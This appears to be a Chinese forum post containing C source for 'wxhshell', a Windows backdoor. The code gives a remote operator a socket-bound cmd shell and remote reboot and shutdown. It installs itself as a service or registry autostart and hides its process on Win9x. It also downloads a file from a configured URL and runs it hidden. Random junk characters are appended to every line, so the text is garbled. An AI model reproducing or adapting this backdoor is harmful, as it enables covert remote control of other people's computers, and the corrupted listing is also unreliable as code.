  // 帮助 8 KH|:>s=  
  case '?': { p*F.WxB)4  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 49vKb(bz{  
    break; neN #Mo'A  
  } I_|@Fn[>  
  // 安装 ^Ec);Z  
  case 'i': { M^f+R'Q3  
    if(Install()) E0 ~\ A;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); VKI`@rY4  
    else p:kHb@  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .UJp#/EHs  
    break; - \ {.]KL  
    } RM/q\100  
  // 卸载 )YSS>V  
  case 'r': { b#ih= qE  
    if(Uninstall()) q]}fW)r  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); OsQB` D  
    else -+9,RtHR7  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); JL[xrK0  
    break; Qq,w6ekr  
    } j5eX?bi_v  
  // 显示 wxhshell 所在路径 mU d['Z  
  case 'p': { }:6$5/?  
    char svExeFile[MAX_PATH]; FVi7gg.?  
    strcpy(svExeFile,"\n\r"); 3<c_`BWu  
      strcat(svExeFile,ExeFile); =8Bq2.nlR  
        send(wsh,svExeFile,strlen(svExeFile),0); =a!w)z_rw  
    break; h!>K[*  
    } 6S`J7[  
  // 重启 >)V1aLu=  
  case 'b': { )21yD1"6  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Wzm!:U2R*  
    if(Boot(REBOOT)) Pl2ZA)[g  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); YwYCXFQ|  
    else { 3rRN~$  
    closesocket(wsh); bUcq LV  
    ExitThread(0); G]DSwtB?D  
    } }{3XbvC  
    break; OhNEt>  
    } Hi V7  
  // 关机 'f'zV@)  
  case 'd': { -FxE!K  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ^nPk;%`0  
    if(Boot(SHUTDOWN)) e#R'_}\yj  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); oZ CvEVUk  
    else { p|q}z/  
    closesocket(wsh); /8$*{ay  
    ExitThread(0); Y1=.46Ezf  
    } [*{G,=tF`Y  
    break; =.<S3?  
    } szZ8-Y  
  // 获取shell G/y@`A)  
  case 's': { =~|:93]k  
    CmdShell(wsh); *{#l0My  
    closesocket(wsh); s]lIDp}  
    ExitThread(0); j 1Ng[  
    break; }\-"L/D?+  
  } \os iY ^  
  // 退出 H0 %;t  
  case 'x': { Gdi8Al]\Nl  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 9hNHcl.  
    CloseIt(wsh); 4Iq-4IG(  
    break; s\Zp/-Q  
    } ^ y1P~4w?  
  // 离开 "i5Rh^  
  case 'q': { I7Uj<a=(q  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); udjahI<{  
    closesocket(wsh); p3f>;|uh_  
    WSACleanup(); 5VLJ:I?0O  
    exit(1); 4ne95_i  
    break; XZ3)gYQi  
        } !(&N{NH9  
  } vz^w %67&  
  } DX H"`1[-  
E+tV7xa~  
  // 提示信息 c}l?x \/  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); c!2j+ORz  
} jcY:a0[{D  
  } +hW^wqk/.  
# $dk  
  return; w4"4(SR.  
} :VB{@ED  
GQR|t?:t  
// shell模块句柄 0IP5 &[-P  
int CmdShell(SOCKET sock) 1638U 1  
{ g6wL\g{29  
STARTUPINFO si; Af V a[{E  
ZeroMemory(&si,sizeof(si));  q\xT  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; qa!3lb_'M  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; $v#\bqY  
PROCESS_INFORMATION ProcessInfo; )j^~=Sio.  
char cmdline[]="cmd"; {)c2#h  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ;%/Kh :Vg  
  return 0; F79!B  
} th 9I]g^=t  
z;F6:aBa  
// 自身启动模式 foi@z9  
int StartFromService(void) -76l*=|  
{ 5VXI/Lw#  
typedef struct ;rK= jz^Q  
{ b_p/ 1W:  
  DWORD ExitStatus; 7[)IP:I>  
  DWORD PebBaseAddress; /Mg$t6vM  
  DWORD AffinityMask; ,$xV&w8f\"  
  DWORD BasePriority; 4J"S?HsW|  
  ULONG UniqueProcessId; @+,J^[ y  
  ULONG InheritedFromUniqueProcessId; \TF='@u.  
}   PROCESS_BASIC_INFORMATION; Z fQzA}QD  
0j-- X?-  
PROCNTQSIP NtQueryInformationProcess; P m Zb!|  
j\o<r0I  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; =jWcD{;1I}  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Ac'0  
bIR&e E  
  HANDLE             hProcess; h:J0d~u  
  PROCESS_BASIC_INFORMATION pbi; >*v P*H:P  
Wvg+5Q  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); {4%B^+}T  
  if(NULL == hInst ) return 0; ZYi."^l  
KO~_  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); cU+% zk  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); orGkS<P  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); @`,~d{ziF  
\m\E*c ):  
  if (!NtQueryInformationProcess) return 0; ?hXeZB+b4  
[X"F}ph  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 9;L5#/E  
  if(!hProcess) return 0; 8~~*/oCoJt  
&N`s@Ka  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 5\?\ |*WT  
1hz:AUH  
  CloseHandle(hProcess); !P_8D*^9  
\Y4>_Mk  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); qir/Sa' [  
if(hProcess==NULL) return 0; 'UW(0 PXw  
NQFMExg,  
HMODULE hMod; "IjCuR;#  
char procName[255]; h^)R}jy+f  
unsigned long cbNeeded; E6=JL$"  
x$6` k  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); @lYm2l^  
[b=l'e/  
  CloseHandle(hProcess); Dm")\"5\?  
lU}y%J@  
if(strstr(procName,"services")) return 1; // 以服务启动 Ji#"PE/Pt  
na5:)j4<  
  return 0; // 注册表启动 m$bX;F}T  
} Gl4(-e'b  
5 aT>8@$Z^  
// 主模块 FLqF!N\G  
int StartWxhshell(LPSTR lpCmdLine) ^"U-\cx  
{ w`N|e0G@  
  SOCKET wsl; T~238C{vh  
BOOL val=TRUE; TSl:a &  
  int port=0; /YyimG7  
  struct sockaddr_in door; tiTJ.uz6  
t7t?xk!2  
  if(wscfg.ws_autoins) Install(); &V.\Svm8]  
3k#?E]'  
port=atoi(lpCmdLine); :75$e%'A  
o|tq&&! <  
if(port<=0) port=wscfg.ws_port; pBd_Ba N  
 c"pI+Q  
  WSADATA data; (O$PJLI  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; go6XUe  
X\z `S##kj  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   P  -O& X  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); k2"DFXsv  
  door.sin_family = AF_INET; {.D^2mj |  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); q{fgsc8v\  
  door.sin_port = htons(port); ZQ%4]=w  
3U_-sMOB|  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { t#fbagTON  
closesocket(wsl); 4TP AD)C  
return 1; JQo"<<[  
} \$g,Hgp/<  
NSsLuM=.  
  if(listen(wsl,2) == INVALID_SOCKET) { y1oQ4|KSI  
closesocket(wsl); hS( )OY  
return 1; DE$HF*WY  
} BE#s@-zR=p  
  Wxhshell(wsl); | 4slG   
  WSACleanup(); jMpV c E#  
V5.=08L  
return 0; 2;v1YKY  
cC NyW2'  
} k3 YDnMRA9  
<\9M+  
// 以NT服务方式启动 bm</qF'T6  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) VV$$t;R/  
{ nx2iEXsa  
DWORD   status = 0; vFz#A/1  
  DWORD   specificError = 0xfffffff; @`IMR$'  
vC# *w,  
  serviceStatus.dwServiceType     = SERVICE_WIN32; PsV1btq]  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; gsSUmf1  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 1-h"1UN2E  
  serviceStatus.dwWin32ExitCode     = 0; bXx2]E227  
  serviceStatus.dwServiceSpecificExitCode = 0; Y`U[Y Hx  
  serviceStatus.dwCheckPoint       = 0; 6JCq?:#ab  
  serviceStatus.dwWaitHint       = 0; %6%QE'D  
y3,'1^lA  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ^L,Uz:[J  
  if (hServiceStatusHandle==0) return; 0m,3''Q5lO  
RRasX;zK  
status = GetLastError(); 0sQt+_Dl%L  
  if (status!=NO_ERROR) S260h,(,  
{ ;RElG>#$  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Wv4x^nJ  
    serviceStatus.dwCheckPoint       = 0; ]ZbZ]  
    serviceStatus.dwWaitHint       = 0; .8v[ss6:  
    serviceStatus.dwWin32ExitCode     = status; iE}Lw&x  
    serviceStatus.dwServiceSpecificExitCode = specificError; fH> I/%  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); jNC@b>E?~  
    return; %mO.ur>21  
  } v J_1VW  
=B/Ac0Y  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 03!!# 5iJ  
  serviceStatus.dwCheckPoint       = 0; kdam]L:9  
  serviceStatus.dwWaitHint       = 0; L] syD n  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 8F;r$i2  
} S, *  
<Rno ;  
// 处理NT服务事件,比如:启动、停止 GY~Q) Z  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Hy*_4r  
{ W`d\A3v  
switch(fdwControl) m?@0Pf}xa  
{ g.V{CJ*V  
case SERVICE_CONTROL_STOP: ^w tr~D|  
  serviceStatus.dwWin32ExitCode = 0; pE~>k:  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; (Cc!Iw'0M  
  serviceStatus.dwCheckPoint   = 0; `1hM3N.nO  
  serviceStatus.dwWaitHint     = 0; #C`IfP./  
  { m|c5X)}-  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); x+%(z8wD  
  } l)d(N7HME  
  return; 4(hHp6}b  
case SERVICE_CONTROL_PAUSE: ,lUroO^^  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 1B5 ]1&M  
  break; zG|#__=T  
case SERVICE_CONTROL_CONTINUE:  d.)%C]W{  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; e=).0S`*F  
  break; Mqk[+n  
case SERVICE_CONTROL_INTERROGATE: ^T.icSxP  
  break; 8Q*477=I  
}; Y~fa=R{W  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); n6 VX0R  
} in[yrqFb7t  
x3QQ`w-  
// 标准应用程序主函数 bo]= *  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) "A>/m"c]*  
{ m0 a<~  
Z2t r?]  
// 获取操作系统版本 ]i@WZ(  
OsIsNt=GetOsVer(); T 8. to  
GetModuleFileName(NULL,ExeFile,MAX_PATH); <jk.9$\$A  
c[6=&  
  // 从命令行安装 Rr!oT?6J?  
  if(strpbrk(lpCmdLine,"iI")) Install(); ^]_5oFRIj  
UD+r{s/%  
  // 下载执行文件 f-'$tMs  
if(wscfg.ws_downexe) { op|:XLR5  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 03$lgDQ  
  WinExec(wscfg.ws_filenam,SW_HIDE); FZi'#(y  
} H*H=a  
Z4ZR]eD  
if(!OsIsNt) { _ l$1@  
// 如果时win9x,隐藏进程并且设置为注册表启动 WNa#X]*E)  
HideProc(); /DC\F5 G  
StartWxhshell(lpCmdLine); X^% E"{!nU  
} $&@etsW0/  
else Bt?.8H6Y  
  if(StartFromService()) JKMcdD?'  
  // 以服务方式启动 vrr` ^UB2  
  StartServiceCtrlDispatcher(DispatchTable); yJMHm8OB7  
else q]}1/JZS  
  // 普通方式启动 ;V:Cf/@@R  
  StartWxhshell(lpCmdLine); 8va&*J? 2  
MB#KLTwnT  
return 0; A:JW Ux  
}
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只看该作者 1 发表于: 2006-10-10
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